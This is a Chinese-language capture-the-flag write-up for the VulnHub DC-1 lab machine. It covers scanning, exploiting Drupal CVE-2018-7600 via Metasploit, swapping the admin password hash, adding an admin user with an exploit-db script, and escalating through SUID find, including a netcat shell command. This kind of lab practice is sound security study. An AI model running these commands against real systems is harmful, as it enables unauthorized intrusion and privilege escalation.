环境搭建
靶机下载地址:
https://download.vulnhub.com/dc/DC-1.zip
选择高版本的vmware,不然可能不支持ova导入
下载导入开机vmware设置选择nat模式,目的让你的攻击机和靶机在一个网段,可以根据网络环境自行设置只要在一个网段就行。
kali攻击机:192.168.98.136
靶机渗透
信息收集
扫描主机
netdiscover -i eth0(自己网卡的名称,有的外接网卡为wlan0) -r 192.168.98.136(自己虚拟机的IP)/24
发现目录ip为 192.168.98.139
扫描端口:
masscan --rate=100000 -p 0-65535 192.168.98.139
发现开放端口为:56790、80、22、111
详细扫描
nmap -T4 -sV -O -p 22,80,111,56790 192.168.98.139
目录扫描
访问ip的80端口是一个网站
使用gobuster目录扫描:
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.98.139 -t 30
web应用指纹信息
whatweb http://192.168.98.139
发现使用Drupal 7系统
漏洞挖掘
漏洞利用
访问80端口
尝试弱口令登录和忘记密码,都无果,但是发现有admin用户的存在
Drupal 7系统去漏洞库和msf搜索一下
msfconsole
search Drupal
使用这个漏洞来打 Drupal CVE-2018-7600 (poc解释:https://paper.seebug.org/567/ https://www.exploit-db.com/exploits/44482)
这个cve用的比较多,百度一搜都是这个。。。正好可以利用这个漏洞
为什么用这个打呢,
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.98.139
run
寻找flag
shell
//用python打开一个标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
//寻找flag文件
find / -name flag*
使用这个搜索命令有时候会出错,只会在当前目录下搜素,但事实上应该是从根目录开始的!
查看flag文件,意思是:每一个好的CMS都需要一个配置文件--你也一样。
登录数据库
搜索Drupal的配置文件
/var/www/sites/default/settings.php,打开
cat /var/www/sites/default/settings.ph
发现flag2文件和数据库账号密码
账号:dbuser
密码:R0ck3t
登录数据库
mysql -u dbuser -p
登录数据库成功:
查看版本
select version();
查看数据库
show databases;
查看一下node和user表,发现flag3
查看node表:
查看user表:
为什么要看node表呢???(user表就不说了吧)
因为drupal node机制drupal node机制理解 ,我也不知道该怎么解释,似懂非懂。。。
尝试获得登录的密码,hash值破解可能不太现实,
我们注册一个账号将二者hash互换不就可以了,但是在注册时,并不能设置密码。
注意:这里可以找到加密脚本自己加密一个密码
方法一:更换admin密码
加密脚本位置:
/var/www/scripts/password-hash.sh
加密脚本用法:
进入shell会话,找准目录,执行:
php scripts/password-hash.sh admin
加密后的hash值:
$S$DB6TfK3H1YgEJqh0oL9V5craxluLQR3aatxZ0V1fqKWo9NWE4sxY
修改语句:
update users set pass = '$S$DB6TfK3H1YgEJqh0oL9V5craxluLQR3aatxZ0V1fqKWo9NWE4sxY' where name='admin';
下面登录测试一下,账号admin密码admin
登录成功:
在content中点击flag3发现:
意思是:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
也就是说我们需要寻找密码,而且提示shadow,但是shadow文件也没有权限查看
方法二:添加新用户
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码,更直接
查看Drupal版本,确定Drupal版本为7.24
cat /var/www/includes/bootstrap.inc | grep VERSION
searchsploit drupal
攻击脚本适用于7.31以下,所以适合7.24版本
利用drupal7.0版本漏洞增加有admin权限的用户:admin1/admin1
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.98.139 -u admin1 -p admin1
注意这里要使用python2来执行!
查看一下数据库中users表有没有记录:
成功添加了一个admin1用户
使用新添加的用户admin1/admin1登录网站,在content模块下,找到flag3
成功用admin1登录:
查看一下flag4:
意思应该是让获得管理员权限,再去root目录下去看看,再根据之前的提示,查看一下shadow,也是需要权限的:
没办法,尝试给权限也没有,只能提权了
suid提权
SUID
是set uid
的简称,它出现在文件所属主权限的执行位上面,标志为 s 。当设置了SUID后,UMSK第一位为4。我们知道,我们账户的密码文件存放在/etc/shadow
中,而/etc/shadow
的权限为 ----------。
也就是说:只有root
用户可以对该目录进行操作,而其他用户连查看的权限都没有。当普通用户要修改自己的密码的时候,可以使用passwd
这个指令。
passwd
这个指令在/bin/passwd
下,当我们执行这个命令后,就可以改/etc/shadow
下的密码了。那么为什么我们可以通过passwd
这个指令去修改一个我们没有权限的文件呢?
这里就用到了suid
,suid
的作用是让执行该命令的用户以该命令拥有者即root的权限去执行,意思是当普通用户执行passwd
时会拥有root
的权限,这样就可以修改/etc/passwd
这个文件了。
参考文章:Linux下的用户、组和权限
已知的可用来提权的linux可行性的文件列表如下:
nmap,vim,find,bash,more,less,nano,cp
发现系统上运行的所有SUID可执行文件
不同系统适用于不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
尝试查看find是否有suid权限
/usr/bin/find /tmp -exec whoami \;
find
命令说明
-exec
参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。
-exec
参数后面跟的就是我们想进一步操作的命令,所以,我们可以以root的权限命令执行了
反弹一个shell,当然find和执行命令,我们也可以返回一个root的netcat的后门
# 第一种方法
/usr/bin/find ./aaa -exec '/bin/sh' \;
# 第二种方法
/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.124.145 4444
第一种方法:
注意记得在当前目录下创建一个aaa文件,跟你的命令对应上,随便什么都可以。
第二种就是用netcat 反弹shell
拿下flag
通过flag3的提示在root目录下,找到了thefinalflag.txt
文件,之前使用find命令时并没有发现这个文件,也不知道什么情况。。。。提权之后,直接读取这个flag即可!
总结
- msf的熟练使用以及搜索可利用漏洞(Drupal);
- 留意目标网站的配置文件(慢慢查看别错过重要信息);
- 数据库管理员提权(更新管理员密码或者添加一个新用户);
- suid提权的命令(nmap、vim、find、bash、more、less、nano、cp)。
标签:admin,DC,192.168,Drupal,权限,root,find From: https://www.cnblogs.com/itchen-2002/p/18365914/dc1-1eysac